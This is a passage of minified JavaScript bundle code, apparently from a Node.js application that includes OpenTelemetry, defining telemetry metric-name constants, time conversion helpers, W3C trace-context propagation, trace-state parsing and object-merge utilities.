K_LANGUAGE_VALUE_SWIFT="swift";Jk4.TELEMETRY_SDK_LANGUAGE_VALUE_WEBJS="webjs";Jk4.ATTR_TELEMETRY_SDK_NAME="telemetry.sdk.name";Jk4.ATTR_TELEMETRY_SDK_VERSION="telemetry.sdk.version";Jk4.ATTR_URL_FRAGMENT="url.fragment";Jk4.ATTR_URL_FULL="url.full";Jk4.ATTR_URL_PATH="url.path";Jk4.ATTR_URL_QUERY="url.query";Jk4.ATTR_URL_SCHEME="url.scheme";Jk4.ATTR_USER_AGENT_ORIGINAL="user_agent.original"});var Dk4=v((Gk4)=>{Object.defineProperty(Gk4,"__esModule",{value:!0});Gk4.METRIC_SIGNALR_SERVER_ACTIVE_CONNECTIONS=Gk4.METRIC_KESTREL_UPGRADED_CONNECTIONS=Gk4.METRIC_KESTREL_TLS_HANDSHAKE_DURATION=Gk4.METRIC_KESTREL_REJECTED_CONNECTIONS=Gk4.METRIC_KESTREL_QUEUED_REQUESTS=Gk4.METRIC_KESTREL_QUEUED_CONNECTIONS=Gk4.METRIC_KESTREL_CONNECTION_DURATION=Gk4.METRIC_KESTREL_ACTIVE_TLS_HANDSHAKES=Gk4.METRIC_KESTREL_ACTIVE_CONNECTIONS=Gk4.METRIC_JVM_THREAD_COUNT=Gk4.METRIC_JVM_MEMORY_USED_AFTER_LAST_GC=Gk4.METRIC_JVM_MEMORY_USED=Gk4.METRIC_JVM_MEMORY_LIMIT=Gk4.METRIC_JVM_MEMORY_COMMITTED=Gk4.METRIC_JVM_GC_DURATION=Gk4.METRIC_JVM_CPU_TIME=Gk4.METRIC_JVM_CPU_RECENT_UTILIZATION=Gk4.METRIC_JVM_CPU_COUNT=Gk4.METRIC_JVM_CLASS_UNLOADED=Gk4.METRIC_JVM_CLASS_LOADED=Gk4.METRIC_JVM_CLASS_COUNT=Gk4.METRIC_HTTP_SERVER_REQUEST_DURATION=Gk4.METRIC_HTTP_CLIENT_REQUEST_DURATION=Gk4.METRIC_DOTNET_TIMER_COUNT=Gk4.METRIC_DOTNET_THREAD_POOL_WORK_ITEM_COUNT=Gk4.METRIC_DOTNET_THREAD_POOL_THREAD_COUNT=Gk4.METRIC_DOTNET_THREAD_POOL_QUEUE_LENGTH=Gk4.METRIC_DOTNET_PROCESS_MEMORY_WORKING_SET=Gk4.METRIC_DOTNET_PROCESS_CPU_TIME=Gk4.METRIC_DOTNET_PROCESS_CPU_COUNT=Gk4.METRIC_DOTNET_MONITOR_LOCK_CONTENTIONS=Gk4.METRIC_DOTNET_JIT_COMPILED_METHODS=Gk4.METRIC_DOTNET_JIT_COMPILED_IL_SIZE=Gk4.METRIC_DOTNET_JIT_COMPILATION_TIME=Gk4.METRIC_DOTNET_GC_PAUSE_TIME=Gk4.METRIC_DOTNET_GC_LAST_COLLECTION_MEMORY_COMMITTED_SIZE=Gk4.METRIC_DOTNET_GC_LAST_COLLECTION_HEAP_SIZE=Gk4.METRIC_DOTNET_GC_LAST_COLLECTION_HEAP_FRAGMENTATION_SIZE=Gk4.METRIC_DOTNET_GC_HEAP_TOTAL_ALLOCATED=Gk4.METRIC_DOTNET_GC_COLLECTIONS=Gk4.METRIC_DOTNET_EXCEPTIONS=Gk4.METRIC_DOTNET_ASSEMBLY_COUNT=Gk4.METRIC_DB_CLIENT_OPERATION_DURATION=Gk4.METRIC_ASPNETCORE_ROUTING_MATCH_ATTEMPTS=Gk4.METRIC_ASPNETCORE_RATE_LIMITING_REQUESTS=Gk4.METRIC_ASPNETCORE_RATE_LIMITING_REQUEST_LEASE_DURATION=Gk4.METRIC_ASPNETCORE_RATE_LIMITING_REQUEST_TIME_IN_QUEUE=Gk4.METRIC_ASPNETCORE_RATE_LIMITING_QUEUED_REQUESTS=Gk4.METRIC_ASPNETCORE_RATE_LIMITING_ACTIVE_REQUEST_LEASES=Gk4.METRIC_ASPNETCORE_DIAGNOSTICS_EXCEPTIONS=void 0;Gk4.METRIC_SIGNALR_SERVER_CONNECTION_DURATION=void 0;Gk4.METRIC_ASPNETCORE_DIAGNOSTICS_EXCEPTIONS="aspnetcore.diagnostics.exceptions";Gk4.METRIC_ASPNETCORE_RATE_LIMITING_ACTIVE_REQUEST_LEASES="aspnetcore.rate_limiting.active_request_leases";Gk4.METRIC_ASPNETCORE_RATE_LIMITING_QUEUED_REQUESTS="aspnetcore.rate_limiting.queued_requests";Gk4.METRIC_ASPNETCORE_RATE_LIMITING_REQUEST_TIME_IN_QUEUE="aspnetcore.rate_limiting.request.time_in_queue";Gk4.METRIC_ASPNETCORE_RATE_LIMITING_REQUEST_LEASE_DURATION="aspnetcore.rate_limiting.request_lease.duration";Gk4.METRIC_ASPNETCORE_RATE_LIMITING_REQUESTS="aspnetcore.rate_limiting.requests";Gk4.METRIC_ASPNETCORE_ROUTING_MATCH_ATTEMPTS="aspnetcore.routing.match_attempts";Gk4.METRIC_DB_CLIENT_OPERATION_DURATION="db.client.operation.duration";Gk4.METRIC_DOTNET_ASSEMBLY_COUNT="dotnet.assembly.count";Gk4.METRIC_DOTNET_EXCEPTIONS="dotnet.exceptions";Gk4.METRIC_DOTNET_GC_COLLECTIONS="dotnet.gc.collections";Gk4.METRIC_DOTNET_GC_HEAP_TOTAL_ALLOCATED="dotnet.gc.heap.total_allocated";Gk4.METRIC_DOTNET_GC_LAST_COLLECTION_HEAP_FRAGMENTATION_SIZE="dotnet.gc.last_collection.heap.fragmentation.size";Gk4.METRIC_DOTNET_GC_LAST_COLLECTION_HEAP_SIZE="dotnet.gc.last_collection.heap.size";Gk4.METRIC_DOTNET_GC_LAST_COLLECTION_MEMORY_COMMITTED_SIZE="dotnet.gc.last_collection.memory.committed_size";Gk4.METRIC_DOTNET_GC_PAUSE_TIME="dotnet.gc.pause.time";Gk4.METRIC_DOTNET_JIT_COMPILATION_TIME="dotnet.jit.compilation.time";Gk4.METRIC_DOTNET_JIT_COMPILED_IL_SIZE="dotnet.jit.compiled_il.size";Gk4.METRIC_DOTNET_JIT_COMPILED_METHODS="dotnet.jit.compiled_methods";Gk4.METRIC_DOTNET_MONITOR_LOCK_CONTENTIONS="dotnet.monitor.lock_contentions";Gk4.METRIC_DOTNET_PROCESS_CPU_COUNT="dotnet.process.cpu.count";Gk4.METRIC_DOTNET_PROCESS_CPU_TIME="dotnet.process.cpu.time";Gk4.METRIC_DOTNET_PROCESS_MEMORY_WORKING_SET="dotnet.process.memory.working_set";Gk4.METRIC_DOTNET_THREAD_POOL_QUEUE_LENGTH="dotnet.thread_pool.queue.length";Gk4.METRIC_DOTNET_THREAD_POOL_THREAD_COUNT="dotnet.thread_pool.thread.count";Gk4.METRIC_DOTNET_THREAD_POOL_WORK_ITEM_COUNT="dotnet.thread_pool.work_item.count";Gk4.METRIC_DOTNET_TIMER_COUNT="dotnet.timer.count";Gk4.METRIC_HTTP_CLIENT_REQUEST_DURATION="http.client.request.duration";Gk4.METRIC_HTTP_SERVER_REQUEST_DURATION="http.server.request.duration";Gk4.METRIC_JVM_CLASS_COUNT="jvm.class.count";Gk4.METRIC_JVM_CLASS_LOADED="jvm.class.loaded";Gk4.METRIC_JVM_CLASS_UNLOADED="jvm.class.unloaded";Gk4.METRIC_JVM_CPU_COUNT="jvm.cpu.count";Gk4.METRIC_JVM_CPU_RECENT_UTILIZATION="jvm.cpu.recent_utilization";Gk4.METRIC_JVM_CPU_TIME="jvm.cpu.time";Gk4.METRIC_JVM_GC_DURATION="jvm.gc.duration";Gk4.METRIC_JVM_MEMORY_COMMITTED="jvm.memory.committed";Gk4.METRIC_JVM_MEMORY_LIMIT="jvm.memory.limit";Gk4.METRIC_JVM_MEMORY_USED="jvm.memory.used";Gk4.METRIC_JVM_MEMORY_USED_AFTER_LAST_GC="jvm.memory.used_after_last_gc";Gk4.METRIC_JVM_THREAD_COUNT="jvm.thread.count";Gk4.METRIC_KESTREL_ACTIVE_CONNECTIONS="kestrel.active_connections";Gk4.METRIC_KESTREL_ACTIVE_TLS_HANDSHAKES="kestrel.active_tls_handshakes";Gk4.METRIC_KESTREL_CONNECTION_DURATION="kestrel.connection.duration";Gk4.METRIC_KESTREL_QUEUED_CONNECTIONS="kestrel.queued_connections";Gk4.METRIC_KESTREL_QUEUED_REQUESTS="kestrel.queued_requests";Gk4.METRIC_KESTREL_REJECTED_CONNECTIONS="kestrel.rejected_connections";Gk4.METRIC_KESTREL_TLS_HANDSHAKE_DURATION="kestrel.tls_handshake.duration";Gk4.METRIC_KESTREL_UPGRADED_CONNECTIONS="kestrel.upgraded_connections";Gk4.METRIC_SIGNALR_SERVER_ACTIVE_CONNECTIONS="signalr.server.active_connections";Gk4.METRIC_SIGNALR_SERVER_CONNECTION_DURATION="signalr.server.connection.duration"});var Pk4=v((jk4)=>{Object.defineProperty(jk4,"__esModule",{value:!0});jk4.EVENT_EXCEPTION=void 0;jk4.EVENT_EXCEPTION="exception"});var Q4A=v((uy)=>{var T09=uy&&uy.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),vIA=uy&&uy.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))T09(K,A,q)};Object.defineProperty(uy,"__esModule",{value:!0});vIA(IT4(),uy);vIA(Hk4(),uy);vIA(_k4(),uy);vIA(Dk4(),uy);vIA(Pk4(),uy)});var Nk4=v((Vk4)=>{Object.defineProperty(Vk4,"__esModule",{value:!0});Vk4.ATTR_PROCESS_RUNTIME_NAME=void 0;Vk4.ATTR_PROCESS_RUNTIME_NAME="process.runtime.name"});var Ek4=v((Tk4)=>{Object.defineProperty(Tk4,"__esModule",{value:!0});Tk4.SDK_INFO=void 0;var v09=IM4(),a31=Q4A(),E09=Nk4();Tk4.SDK_INFO={[a31.ATTR_TELEMETRY_SDK_NAME]:"opentelemetry",[E09.ATTR_PROCESS_RUNTIME_NAME]:"node",[a31.ATTR_TELEMETRY_SDK_LANGUAGE]:a31.TELEMETRY_SDK_LANGUAGE_VALUE_NODEJS,[a31.ATTR_TELEMETRY_SDK_VERSION]:v09.VERSION}});var kk4=v((gQ)=>{Object.defineProperty(gQ,"__esModule",{value:!0});gQ.SDK_INFO=gQ.otperformance=gQ._globalThis=gQ.getStringListFromEnv=gQ.getNumberFromEnv=gQ.getBooleanFromEnv=gQ.getStringFromEnv=void 0;var s31=NM4();Object.defineProperty(gQ,"getStringFromEnv",{enumerable:!0,get:function(){return s31.getStringFromEnv}});Object.defineProperty(gQ,"getBooleanFromEnv",{enumerable:!0,get:function(){return s31.getBooleanFromEnv}});Object.defineProperty(gQ,"getNumberFromEnv",{enumerable:!0,get:function(){return s31.getNumberFromEnv}});Object.defineProperty(gQ,"getStringListFromEnv",{enumerable:!0,get:function(){return s31.getStringListFromEnv}});var k09=EM4();Object.defineProperty(gQ,"_globalThis",{enumerable:!0,get:function(){return k09._globalThis}});var C09=LM4();Object.defineProperty(gQ,"otperformance",{enumerable:!0,get:function(){return C09.otperformance}});var L09=Ek4();Object.defineProperty(gQ,"SDK_INFO",{enumerable:!0,get:function(){return L09.SDK_INFO}})});var e56=v((FQ)=>{Object.defineProperty(FQ,"__esModule",{value:!0});FQ.getStringListFromEnv=FQ.getNumberFromEnv=FQ.getStringFromEnv=FQ.getBooleanFromEnv=FQ.otperformance=FQ._globalThis=FQ.SDK_INFO=void 0;var U4A=kk4();Object.defineProperty(FQ,"SDK_INFO",{enumerable:!0,get:function(){return U4A.SDK_INFO}});Object.defineProperty(FQ,"_globalThis",{enumerable:!0,get:function(){return U4A._globalThis}});Object.defineProperty(FQ,"otperformance",{enumerable:!0,get:function(){return U4A.otperformance}});Object.defineProperty(FQ,"getBooleanFromEnv",{enumerable:!0,get:function(){return U4A.getBooleanFromEnv}});Object.defineProperty(FQ,"getStringFromEnv",{enumerable:!0,get:function(){return U4A.getStringFromEnv}});Object.defineProperty(FQ,"getNumberFromEnv",{enumerable:!0,get:function(){return U4A.getNumberFromEnv}});Object.defineProperty(FQ,"getStringListFromEnv",{enumerable:!0,get:function(){return U4A.getStringListFromEnv}})});var Sk4=v((yk4)=>{Object.defineProperty(yk4,"__esModule",{value:!0});yk4.addHrTimes=yk4.isTimeInput=yk4.isTimeInputHrTime=yk4.hrTimeToMicroseconds=yk4.hrTimeToMilliseconds=yk4.hrTimeToNanoseconds=yk4.hrTimeToTimeStamp=yk4.hrTimeDuration=yk4.timeInputToHrTime=yk4.hrTime=yk4.getTimeOrigin=yk4.millisToHrTime=void 0;var A36=e56(),Ck4=9,I09=6,S09=Math.pow(10,I09),t31=Math.pow(10,Ck4);function EIA(A){let K=A/1000,q=Math.trunc(K),Y=Math.round(A%1000*S09);return[q,Y]}yk4.millisToHrTime=EIA;function K36(){let A=A36.otperformance.timeOrigin;if(typeof A!=="number"){let K=A36.otperformance;A=K.timing&&K.timing.fetchStart}return A}yk4.getTimeOrigin=K36;function Lk4(A){let K=EIA(K36()),q=EIA(typeof A==="number"?A:A36.otperformance.now());return Rk4(K,q)}yk4.hrTime=Lk4;function h09(A){if(q36(A))return A;else if(typeof A==="number")if(A<K36())return Lk4(A);else return EIA(A);else if(A instanceof Date)return EIA(A.getTime());else throw TypeError("Invalid input type")}yk4.timeInputToHrTime=h09;function b09(A,K){let q=K[0]-A[0],Y=K[1]-A[1];if(Y<0)q-=1,Y+=t31;return[q,Y]}yk4.hrTimeDuration=b09;function x09(A){let K=Ck4,q=`${"0".repeat(K)}${A[1]}Z`,Y=q.substring(q.length-K-1);return new Date(A[0]*1000).toISOString().replace("000Z",Y)}yk4.hrTimeToTimeStamp=x09;function u09(A){return A[0]*t31+A[1]}yk4.hrTimeToNanoseconds=u09;function B09(A){return A[0]*1000+A[1]/1e6}yk4.hrTimeToMilliseconds=B09;function m09(A){return A[0]*1e6+A[1]/1000}yk4.hrTimeToMicroseconds=m09;function q36(A){return Array.isArray(A)&&A.length===2&&typeof A[0]==="number"&&typeof A[1]==="number"}yk4.isTimeInputHrTime=q36;function g09(A){return q36(A)||typeof A==="number"||A instanceof Date}yk4.isTimeInput=g09;function Rk4(A,K){let q=[A[0]+K[0],A[1]+K[1]];if(q[1]>=t31)q[1]-=t31,q[0]+=1;return q}yk4.addHrTimes=Rk4});var xk4=v((hk4)=>{Object.defineProperty(hk4,"__esModule",{value:!0});hk4.unrefTimer=void 0;function a09(A){if(typeof A!=="number")A.unref()}hk4.unrefTimer=a09});var Bk4=v((uk4)=>{Object.defineProperty(uk4,"__esModule",{value:!0});uk4.ExportResultCode=void 0;var s09;(function(A){A[A.SUCCESS=0]="SUCCESS",A[A.FAILED=1]="FAILED"})(s09=uk4.ExportResultCode||(uk4.ExportResultCode={}))});var Uk4=v((Fk4)=>{Object.defineProperty(Fk4,"__esModule",{value:!0});Fk4.CompositePropagator=void 0;var mk4=RK();class gk4{_propagators;_fields;constructor(A={}){this._propagators=A.propagators??[],this._fields=Array.from(new Set(this._propagators.map((K)=>typeof K.fields==="function"?K.fields():[]).reduce((K,q)=>K.concat(q),[])))}inject(A,K,q){for(let Y of this._propagators)try{Y.inject(A,K,q)}catch(z){mk4.diag.warn(`Failed to inject with ${Y.constructor.name}. Err: ${z.message}`)}}extract(A,K,q){return this._propagators.reduce((Y,z)=>{try{return z.extract(Y,K,q)}catch(w){mk4.diag.warn(`Failed to extract with ${z.constructor.name}. Err: ${w.message}`)}return Y},A)}fields(){return this._fields.slice()}}Fk4.CompositePropagator=gk4});var ck4=v((pk4)=>{Object.defineProperty(pk4,"__esModule",{value:!0});pk4.validateValue=pk4.validateKey=void 0;var z36="[_0-9a-z-*/]",t09=`[a-z]${z36}{0,255}`,e09=`[a-z0-9]${z36}{0,240}@[a-z]${z36}{0,13}`,AX9=new RegExp(`^(?:${t09}|${e09})$`),KX9=/^[ -~]{0,255}[!-~]$/,qX9=/,|=/;function YX9(A){return AX9.test(A)}pk4.validateKey=YX9;function zX9(A){return KX9.test(A)&&!qX9.test(A)}pk4.validateValue=zX9});var H36=v((ok4)=>{Object.defineProperty(ok4,"__esModule",{value:!0});ok4.TraceState=void 0;var lk4=ck4(),ik4=32,HX9=512,nk4=",",rk4="=";class w36{_internalState=new Map;constructor(A){if(A)this._parse(A)}set(A,K){let q=this._clone();if(q._internalState.has(A))q._internalState.delete(A);return q._internalState.set(A,K),q}unset(A){let K=this._clone();return K._internalState.delete(A),K}get(A){return this._internalState.get(A)}serialize(){return this._keys().reduce((A,K)=>{return A.push(K+rk4+this.get(K)),A},[]).join(nk4)}_parse(A){if(A.length>HX9)return;if(this._internalState=A.split(nk4).reverse().reduce((K,q)=>{let Y=q.trim(),z=Y.indexOf(rk4);if(z!==-1){let w=Y.slice(0,z),H=Y.slice(z+1,q.length);if((0,lk4.validateKey)(w)&&(0,lk4.validateValue)(H))K.set(w,H)}return K},new Map),this._internalState.size>ik4)this._internalState=new Map(Array.from(this._internalState.entries()).reverse().slice(0,ik4))}_keys(){return Array.from(this._internalState.keys()).reverse()}_clone(){let A=new w36;return A._internalState=new Map(this._internalState),A}}ok4.TraceState=w36});var KC4=v((ek4)=>{Object.defineProperty(ek4,"__esModule",{value:!0});ek4.W3CTraceContextPropagator=ek4.parseTraceParent=ek4.TRACE_STATE_HEADER=ek4.TRACE_PARENT_HEADER=void 0;var e31=RK(),JX9=TIA(),OX9=H36();ek4.TRACE_PARENT_HEADER="traceparent";ek4.TRACE_STATE_HEADER="tracestate";var XX9="00",$X9="(?!ff)[\\da-f]{2}",_X9="(?![0]{32})[\\da-f]{32}",GX9="(?![0]{16})[\\da-f]{16}",ZX9="[\\da-f]{2}",WX9=new RegExp(`^\\s?(${$X9})-(${_X9})-(${GX9})-(${ZX9})(-.*)?\\s?$`);function sk4(A){let K=WX9.exec(A);if(!K)return null;if(K[1]==="00"&&K[5])return null;return{traceId:K[2],spanId:K[3],traceFlags:parseInt(K[4],16)}}ek4.parseTraceParent=sk4;class tk4{inject(A,K,q){let Y=e31.trace.getSpanContext(A);if(!Y||(0,JX9.isTracingSuppressed)(A)||!(0,e31.isSpanContextValid)(Y))return;let z=`${XX9}-${Y.traceId}-${Y.spanId}-0${Number(Y.traceFlags||e31.TraceFlags.NONE).toString(16)}`;if(q.set(K,ek4.TRACE_PARENT_HEADER,z),Y.traceState)q.set(K,ek4.TRACE_STATE_HEADER,Y.traceState.serialize())}extract(A,K,q){let Y=q.get(K,ek4.TRACE_PARENT_HEADER);if(!Y)return A;let z=Array.isArray(Y)?Y[0]:Y;if(typeof z!=="string")return A;let w=sk4(z);if(!w)return A;w.isRemote=!0;let H=q.get(K,ek4.TRACE_STATE_HEADER);if(H){let J=Array.isArray(H)?H.join(","):H;w.traceState=new OX9.TraceState(typeof J==="string"?J:void 0)}return e31.trace.setSpanContext(A,w)}fields(){return[ek4.TRACE_PARENT_HEADER,ek4.TRACE_STATE_HEADER]}}ek4.W3CTraceContextPropagator=tk4});var wC4=v((YC4)=>{Object.defineProperty(YC4,"__esModule",{value:!0});YC4.getRPCMetadata=YC4.deleteRPCMetadata=YC4.setRPCMetadata=YC4.RPCType=void 0;var jX9=RK(),J36=(0,jX9.createContextKey)("OpenTelemetry SDK Context Key RPC_METADATA"),MX9;(function(A){A.HTTP="http"})(MX9=YC4.RPCType||(YC4.RPCType={}));function PX9(A,K){return A.setValue(J36,K)}YC4.setRPCMetadata=PX9;function VX9(A){return A.deleteValue(J36)}YC4.deleteRPCMetadata=VX9;function fX9(A){return A.getValue(J36)}YC4.getRPCMetadata=fX9});var GC4=v(($C4)=>{Object.defineProperty($C4,"__esModule",{value:!0});$C4.isPlainObject=void 0;var vX9="[object Object]",EX9="[object Null]",kX9="[object Undefined]",CX9=Function.prototype,HC4=CX9.toString,LX9=HC4.call(Object),RX9=Object.getPrototypeOf,JC4=Object.prototype,OC4=JC4.hasOwnProperty,p4A=Symbol?Symbol.toStringTag:void 0,XC4=JC4.toString;function yX9(A){if(!IX9(A)||SX9(A)!==vX9)return!1;let K=RX9(A);if(K===null)return!0;let q=OC4.call(K,"constructor")&&K.constructor;return typeof q=="function"&&q instanceof q&&HC4.call(q)===LX9}$C4.isPlainObject=yX9;function IX9(A){return A!=null&&typeof A=="object"}function SX9(A){if(A==null)return A===void 0?kX9:EX9;return p4A&&p4A in Object(A)?hX9(A):bX9(A)}function hX9(A){let K=OC4.call(A,p4A),q=A[p4A],Y=!1;try{A[p4A]=void 0,Y=!0}catch{}let z=XC4.call(A);if(Y)if(K)A[p4A]=q;else delete A[p4A];return z}function bX9(A){return XC4.call(A)}});var VC4=v((MC4)=>{Object.defineProperty(MC4,"__esModule",{value:!0});MC4.merge=void 0;var ZC4=GC4(),xX9=20;function uX9(...A){let K=A.shift(),q=new WeakMap;while(A.length>0)K=DC4(K,A.shift(),0,q);return K}MC4.merge=uX9;function O36(A){if(Y91(A))return A.slice();return A}function DC4(A,K,q=0,Y){let z;if(q>xX9)return;if(q++,q91(A)||q91(K)||jC4(K))z=O36(K);else if(Y91(A)){if(z=A.slice(),Y91(K))for(let w=0,H=K.length;w<H;w++)z.push(O36(K[w]));else if(kIA(K)){let w=Object.keys(K);for(let H=0,J=w.length;H<J;H++){let O=w[H];z[O]=O36(K[O])}}}else if(kIA(A))if(kIA(K)){if(!BX9(A,K))return K;z=Object.assign({},A);let w=Object.keys(K);for(let H=0,J=w.length;H<J;H++){let O=w[H],X=K[O];if(q91(X))if(typeof X>"u")delete z[O];else z[O]=X;else{let $=z[O],_=X;if(WC4(A,O,Y)||WC4(K,O,Y))delete z[O];else{if(kIA($)&&kIA(_)){let G=Y.get($)||[],Z=Y.get(_)||[];G.push({obj:A,key:O}),Z.push({obj:K,key:O}),Y.set($,G),Y.set(_,Z)}z[O]=DC4(z[O],X,q,Y)}}}}else z=K;return z}function WC4(A,K,q){let Y=q.get(A[K])||[];for(let z=0,w=Y.length;z<w;z++){let H=Y[z];if(H.key===K&&H.obj===A)return!0}return!1}function Y91(A){return Array.isArray(A)}function jC4(A){return typeof A==="function"}function kIA(A){return!q91(A)&&!Y91(A)&&!jC4(A)&&typeof A==="object"}function q91(A){return typeof A==="string"||typeof A==="number"||typeof A==="boolean"||typeof A>"u"||A instanceof Date||A instanceof RegExp||A===null}function BX9(A,K){if(!(0,ZC4.isPlainObject)(A)||!(0,ZC4.isPlainObject)(K))return!1;return!0}});var TC4=v((fC4)=>{Object.defineProperty(fC4,"__esModule",{value:!0});fC4.callWithTimeout=fC4.TimeoutError=void 0;class z91 extends Error{constructor(A){super(A);Object.setPrototypeOf(this,z91.prototype)}}fC4.TimeoutError=z91;function mX9(A,K){let q,Y=new Promise(function(w,H){q=setTimeout(function(){H(new z91("Operation timed out."))},K)});return Promise.race([A,Y]).then((z)=>{return clearTimeout(q),z},(z)=>{throw clearTimeout(q),z})}fC4.callWithTimeout=mX9});var CC4=v((EC4)=>{Object.defineProperty(EC4,"__esModule",{value:!0});EC4.isUrlIgnored=EC4.urlMatches=void 0;function vC4(A,K){if(typeof K==="string")return A===K;else return!!A.match(K)}EC4.urlMatches=vC4;function FX9(A,K){if(!K)return!1;for(let q of K)if(vC4(A,q))return!0;return!1}EC4.isUrlIgnored=FX9});var IC4=v((RC4)=>{Object.defineProperty(RC4,"__esModule",{value:!0});RC4.Deferred=void 0;class LC4{_promise;_resolve;_reject;constructor(){this._promise=new Promise((A,K)=>{this._resolve=A,this._reject=K})}get promise(){return this._promise}resolve(A){this._resolve(A)}reject(A){this._reject(A)}}RC4.Deferred=LC4});var xC4=v((hC4)=>{Object.defineProperty(hC4,"__esModule",{value:!0});hC4.BindOnceFuture=void 0;var UX9=IC4();class SC4{_callback;_that;_isCalled=!1;_deferred=new UX9.Deferred;constructor(A,K){this._callback=A,this._that=K}get isCalled(){return this._isCalled}get promise(){return this._deferred.promise}call(...A){if(!this._isCalled){this._isCalled=!0;try{Promise.resolve(this._callback.call(this._that,...A)).then((K)=>this._deferred.resolve(K),(K)=>this._deferred.reject(K))}catch(K){this._deferred.reject(K)}}return this._deferred.promise}}hC4.BindOnceFuture=SC4});var gC4=v((BC4)=>{Object.defineProperty(BC4,"__esModule",{value:!0});BC4.diagLogLevelFromString=void 0;var QQ=RK(),uC4={ALL:QQ.DiagLogLevel.ALL,VERBOSE:QQ.DiagLogLevel.VERBOSE,DEBUG:QQ.DiagLogLevel.DEBUG,INFO:QQ.DiagLogLevel.INFO,WARN:QQ.DiagLogLevel.WARN,ERROR:QQ.DiagLogLevel.ERROR,NONE:QQ.DiagLogLevel.NONE};function pX9(A){if(A==null)return;let K=uC4[A.toUpperCase()];if(K==null)return QQ.diag.warn(`Unknown log level "${A}", expected one of ${Object.keys(uC4)}, using default`),QQ.DiagLogLevel.INFO;return K}BC4.diagLogLevelFromString=pX9});var pC4=v((QC4)=>{Object.defineProperty(QC4,"__esModule",{value:!0});QC4._export=void 0;var FC4=RK(),dX9=TIA();function cX9(A,K){return new Promise((q)=>{FC4.context.with((0,dX9.suppressTracing)(FC4.context.active()),()=>{A.export(K,(Y)=>{q(Y)})})})}QC4._export=cX9});var P9=v((Wq)=>{Object.defineProperty(Wq,"__esModule",{value:!0});Wq.internal=Wq.diagLogLevelFromString=Wq.BindOnceFuture=Wq.urlMatches=Wq.isUrlIgnored=Wq.callWithTimeout=Wq.TimeoutError=Wq.merge=Wq.TraceState=Wq.unsuppressTracing=Wq.suppressTracing=Wq.isTracingSuppressed=Wq.setRPCMetadata=Wq.getRPCMetadata=Wq.deleteRPCMetadata=Wq.RPCType=Wq.parseTraceParent=Wq.W3CTraceContextPropagator=Wq.TRACE_STATE_HEADER=Wq.TRACE_PARENT_HEADER=Wq.CompositePropagator=Wq.otperformance=Wq.getStringListFromEnv=Wq.getNumberFromEnv=Wq.getBooleanFromEnv=Wq.getStringFromEnv=Wq._globalThis=Wq.SDK_INFO=Wq.parseKeyPairsIntoRecord=Wq.ExportResultCode=Wq.unrefTimer=Wq.timeInputToHrTime=Wq.millisToHrTime=Wq.isTimeInputHrTime=Wq.isTimeInput=Wq.hrTimeToTimeStamp=Wq.hrTimeToNanoseconds=Wq.hrTimeToMilliseconds=Wq.hrTimeToMicroseconds=Wq.hrTimeDuration=Wq.hrTime=Wq.getTimeOrigin=Wq.addHrTimes=Wq.loggingErrorHandler=Wq.setGlobalErrorHandler=Wq.globalErrorHandler=Wq.sanitizeAttributes=Wq.isAttributeValue=Wq.AnchoredClock=Wq.W3CBaggagePropagator=void 0;var lX9=tj4();Object.defineProperty(Wq,"W3CBaggagePropagator",{enumerable:!0,get:function(){return lX9.W3CBaggagePropagator}});var iX9=qM4();Object.defineProperty(Wq,"AnchoredClock",{enumerable:!0,get:function(){return iX9.AnchoredClock}});var dC4=XM4();Object.defineProperty(Wq,"isAttributeValue",{enumerable:!0,get:function(){return dC4.isAttributeValue}});Object.defineProperty(Wq,"sanitizeAttributes",{enumerable:!0,get:function(){return dC4.sanitizeAttributes}});var cC4=DM4();Object.defineProperty(Wq,"globalErrorHandler",{enumerable:!0,get:function(){return cC4.globalErrorHandler}});Object.defineProperty(Wq,"setGlobalErrorHandler",{enumerable:!0,get:function(){return cC4.setGlobalErrorHandler}});var nX9=s56();Object.defineProperty(Wq,"loggingErrorHandler",{enumerable:!0,get:function(){return nX9.loggingErrorHandler}});var ik=Sk4();Object.defineProperty(Wq,"addHrTimes",{enumerable:!0,get:function(){return ik.addHrTimes}});Object.defineProperty(Wq,"getTimeOrigin",{enumerable:!0,get:function(){return ik.getTimeOrigin}});Object.defineProperty(Wq,"hrTime",{enumerable:!0,get:function(){return ik.hrTime}});Object.defineProperty(Wq,"hrTimeDuration",{enumerable:!0,get:function(){return ik.hrTimeDuration}});Object.defineProperty(Wq,"hrTimeToMicroseconds",{enumerable:!0,get:function(){return ik.hrTimeToMicroseconds}});Object.defineProperty(Wq,"hrTimeToMilliseconds",{enumerable:!0,get:function(){return ik.hrTimeToMilliseconds}});Object.defineProperty(Wq,"hrTimeToNanoseconds",{enumerable:!0,get:function(){return ik.hrTimeToNanoseconds}});Object.defineProperty(Wq,"hrTimeToTimeStamp",{enumerable:!0,get:function(){return ik.hrTimeToTimeStamp}});Object.defineProperty(Wq,"isTimeInput",{enumerable:!0,get:function(){return ik.isTimeInput}});Object.defineProperty(Wq,"isTimeInputHrTime",{enumerable:!0,get:function(){return ik.isTimeInputHrTime}});Object.defineProperty(Wq,"millisToHrTime",{enumerable:!0,get:function(){return ik.millisToHrTime}});Object.defineProperty(Wq,"timeInputToHrTime",{enumerable:!0,get:function(){return ik.timeInputToHrTime}});var rX9=xk4();Object.defineProperty(Wq,"unrefTimer",{enumerable:!0,get:function(){return rX9.unrefTimer}});var oX9=Bk4();Object.defineProperty(Wq,"ExportResultCode",{enumerable:!0,get:function(){return oX9.ExportResultCode}});var aX9=r56();Object.defineProperty(Wq,"parseKeyPairsIntoRecord",{enumerable:!0,get:function(){return aX9.parseKeyPairsIntoRecord}});var d4A=e56();Object.defineProperty(Wq,"SDK_INFO",{enumerable:!0,get:function(){return d4A.SDK_INFO}});Object.defineProperty(Wq,"_globalThis",{enumerable:!0,get:function(){return d4A._globalThis}});Object.defineProperty(Wq,"getStringFromEnv",{enumerable:!0,get:function(){return d4A.getStringFromEnv}});Object.defineProperty(Wq,"getBooleanFromEnv",{enumerable:!0,get:function(){return d4A.getBooleanFromEnv}});Object.defineProperty(Wq,"getNumberFromEnv",{enumerable:!0,get:function(){return d4A.getNumberFromEnv}});Object.defineProperty(Wq,"getStringListFromEnv",{enumerable:!0,get:function(){return 